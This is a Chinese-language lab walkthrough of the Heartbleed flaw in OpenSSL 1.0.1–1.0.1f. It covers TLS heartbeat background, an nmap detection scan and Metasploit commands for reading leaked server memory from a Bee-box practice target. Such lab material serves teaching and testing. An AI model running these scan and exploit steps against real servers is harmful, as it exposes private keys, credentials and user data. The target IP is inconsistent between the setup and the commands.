心脏滴血漏洞简述
2014年4月7日,OpenSSL发布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,该漏洞中文名称为心脏滴血,英文名称为HeartBleed。其中Heart是指该漏洞位于心跳协议上,Bleed是因为该漏洞会造成数据泄露。即HeartBleed是在心跳协议上的一个数据泄露漏洞,OpenSSL库中用到了该心跳协议。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。
利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。
漏洞范围
OpenSSL 1.0.1版本
ssl、tls、dtls介绍
在网络当中中,TCP/IP协议层之上的安全可以由Secure Socket Layer(SSL)及其替代协议Transport Layer Security (TLS)进行保障。这两个协议经常被称作SSL/TLS。HTTP是一个无状态的应用层协议,主要用来在服务器和客户端之间传输数据。HTTPS主要通过在HTTP层和TCP层之间增加了SSL/TLS层来保证服务器与客户端之间安全的传输数据。
DTLS(Datagram Transport Layer Security)即数据包传输层安全性协议,主要是试图在TLS协议架构上提出扩展,使之支持UDP。
TLS/DTLS中的心跳协议主要使用来检测两个设备之间是否还有连接的,根据RFC规定,心跳协议运行在TLS记录层之上,主要是通过交换“心跳”的方式,用来维持端与端之间的连接。
环境 搭建 kali—》192.168.115.28
Bee-box—》192.168.115.21
- 启动靶机
- 确定目标及端口信息。这里存在漏洞的靶机端口为8443
- 使用nmap 指定脚本扫描
nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.115.27
由下图检测结果可以看出存在心脏滴血漏洞
- github上也有一个项目,是专门检测心脏滴血漏洞的。
https://github.com/musalbas/heartbleed-masstest/blob/master/ssltest.py
- 使用msf进行漏洞利用
打开msfconsole后,查找heartbleed模块:
Search heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.115.27
set RPORT 8443
set verbose true #(设置verbose,这个设置要设置成true才能看到泄露的信息)
exploit